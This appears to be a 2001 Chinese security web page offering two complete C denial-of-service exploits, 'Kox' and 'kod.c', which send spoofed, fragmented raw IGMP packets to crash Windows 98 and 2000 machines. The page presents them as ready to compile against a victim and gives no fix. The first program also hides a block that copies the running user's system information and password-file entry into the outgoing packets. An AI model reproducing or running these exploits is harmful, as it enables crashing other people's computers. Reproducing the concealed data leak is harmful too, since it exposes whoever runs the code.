对Windows98和Windows2000的攻击

/ns/ld/win/data/20010501052713.htm

IGMP是一个尚处于实验阶段的协议,提供Internet网际多点传送的功能,即将一个IP包的拷贝传给多个host. Windows98和windows2000都采用了这个不太成熟的协议,在这两个平台内,这个多点传送的协议的应用容易引起Tcp/IP堆栈的阻塞,从而引发了一个目前没有补丁的新攻击:

这里有两段C程序,效果差不多,请正确编译.

对Windows98和windows2000都是严厉的攻击,可能需要来两次或者更多,对方的机器将会蓝屏,当机甚至立即重新启动.

/***

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <pwd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/igmp.h>



void usage(char *arg)
{
printf("Kox by Coolio (coolio@k-r4d.com)\n");
printf("Usage: %s <victim>\n", arg);
exit(1);
}


unsigned int randip()
{
struct hostent *he;
struct sockaddr_in sin;
char *buf = (char *)calloc(1, sizeof(char) * 16);

sprintf(buf, "%d.%d.%d.%d",
(random()%191)+23,
(random()%253)+1,
(random()%253)+1,
(random()%253)+1);

inet_aton(buf, (struct in_addr *)&sin);
return sin.sin_addr.s_addr;
}

unsigned short in_cksum(unsigned short *buh, int len)
{
register long sum = 0;
unsigned short oddbyte;
register unsigned short answer;

while(len > 1) {
sum += *buh++;
len -= 2;
}

if(len == 1) {
oddbyte = 0;
*((unsigned char *)&oddbyte) = *(unsigned char *)buh;
sum += oddbyte;
}

sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
answer = ~sum;
return answer;
}

int nuke_igmp(struct sockaddr_in *victim, unsigned long spoof)
{
int BIGIGMP = 1500;
unsigned char *pkt;
struct iphdr *ip;
struct igmphdr *igmp;
struct utsname *un;
struct passwd *p;

int i, s;
int id = (random() % 40000) + 500;

pkt = (unsigned char *)calloc(1, BIGIGMP);
ip = (struct iphdr *)pkt;
igmp = (struct igmphdr *)(pkt + sizeof(struct iphdr));

ip->version = 4;
ip->ihl = (sizeof *ip) / 4;
ip->ttl = 255;
ip->tot_len = htons(BIGIGMP);
ip->protocol = IPPROTO_IGMP;
ip->id = htons(id);
ip->frag_off = htons(IP_MF);
ip->saddr = spoof;
ip->daddr = victim->sin_addr.s_addr;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

igmp->type = 0;
igmp->group = 0;
igmp->csum = in_cksum((unsigned short *)igmp, sizeof(struct igmphdr));

for(i = sizeof(struct iphdr) + sizeof(struct igmphdr) + 1;
i < BIGIGMP; i++)
pkt[i] = random() % 255;
#ifndef I_GROK
un = (struct utsname *)(pkt + sizeof(struct iphdr) +
sizeof(struct igmphdr) + 40);
uname(un);
p = (struct passwd *)((void *)un + sizeof(struct utsname) + 10);
memcpy(p, getpwuid(getuid()), sizeof(struct passwd));
#endif
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("error: socket()");
return 1;
}

if(sendto(s, pkt, BIGIGMP, 0, victim,
sizeof(struct sockaddr_in)) == -1) {
perror("error: sendto()");
return 1;
}
usleep(1000000);

for(i = 1; i < 5; i++) {
if(i > 3)
ip->frag_off = htons(((BIGIGMP-20) * i) >> 3);
else
ip->frag_off = htons(((BIGIGMP-20) * i) >> 3 | IP_MF);
sendto(s, pkt, BIGIGMP, 0, victim, sizeof(struct sockaddr_in));
usleep(2000000);
}

free(pkt);
close(s);
return 0;
}

int main(int argc, char *argv[])
{
struct sockaddr_in victim;
struct hostent *he;
int i;

srandom(time(NULL));

if(argc < 2)
usage(argv[0]);

if((he = gethostbyname(argv[1])) == NULL) {
herror(argv[1]);
exit(1);
}
memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
victim.sin_port = htons(0);
victim.sin_family = PF_INET;

printf("IGMP> ");
fflush(stdout);
for(i = 0; i < 10; i++)
{
nuke_igmp(&victim, randip());
printf(".");
fflush(stdout);
}
printf("\n");
fflush(stdout);
}


 


另一段程序:

/*
::: kod.c (kiss of death) version 1.2
::: [author] kod.c bug found by klepto /
klepto@levitate.net / rewritten by ignitor / ignitor@EFnet
::: [stuph ] works on bsd/linux/*nix
::: [notes ] bluescreens windows users(98/98se) and kills
tcp stack
::: [m$ bug] windows handles igmp badly and this is the
result
::: [greets]
amputee/nizda/nyt/ignitor/skyline/codelogic/ill`/conio/egotr
ip/TFreak/napster
::: [greets] dist(test monkey)/naz(you rule period.)/#havok/
#irc_addict/#kgb/#eof/everyone
::: [action] ./kod <host> and BEWM!
::: [rant ] there will be lots of rewrites to this.. just
get our name right!
de omnibus dubitandum
*/

/*
windows core dump output (*whee*)
An exception 0E has occurred at 0028:C14C9212 in VxD VIP
(01) +
00006C72. This was called from 0028:C183FF54 in VcD PPPMAC
(04) +
000079BR. It may be possible to continue normally(*not*).
*/


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

struct iphdr
{
unsigned char ihl:4, version:4, tos;
unsigned short tot_len, id, frag_off;
unsigned char ttl, protocol;
unsigned short check;
unsigned int saddr, daddr;
};

struct igmphdr
{
unsigned char type, code;
unsigned short cksum;
struct in_addr group;
};

unsigned short in_chksum(unsigned short *, int);
long resolve(char *);

long resolve(char *host)
{
struct hostent *hst;
long addr;

hst = gethostbyname(host);
if (hst == NULL)
return(-1);

memcpy(&addr, hst->h_addr, hst->h_length);

return(addr);
}

int main(int argc, char *argv[])
{
struct sockaddr_in dst;
struct iphdr *ip;
struct igmphdr *igmp;
long daddr, saddr;
int s, i=0, c, len;
char buf[1500];

if (argc < 3)
{
printf("KOD spoofer by Ignitor and klepto\n");
printf("Usage: %s <src> <dst>\n", *argv);
return(1);
}

daddr = resolve(argv[2]);
saddr = resolve(argv[1]);

memset(buf, 0, 1500);
ip = (struct iphdr *)&buf;
igmp = (struct igmphdr *)&buf[sizeof(struct iphdr)];

dst.sin_addr.s_addr = daddr;
dst.sin_family = AF_INET;

ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = htons(10933);
ip->id = htons(48648);
ip->ttl = 64;
ip->protocol = IPPROTO_IGMP;
ip->check = in_chksum((unsigned short *)ip, sizeof(struct
iphdr));
ip->saddr = saddr;
ip->daddr = daddr;

s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (s == -1)
return(1);

printf("Sending IGMP packets: %s -> %s\n", argv[1], argv
[2]);

for (c=0;c<2;c++)
{
len = 220;
ip->frag_off = htons(0x73a);

for (i=0;;i++)
{
if (sendto(s,&buf,len,0,(struct sockaddr *)&dst,sizeof
(struct sockaddr_in)) == -1)
{
perror("Error sending packet");
exit(-1);
}
if (ntohs(ip->frag_off) == 0x2000)
break;
len = 1500;
if (!i)
ip->frag_off = htons(0x2681);
else
ip->frag_off = htons(ntohs(ip->frag_off) - 185);

ip->check = in_chksum((unsigned short *)ip, sizeof
(struct iphdr));
}
}

return(1);
}

unsigned short in_chksum(unsigned short *addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}

if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)addr;
sum += answer;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}

解决方案:暂时没有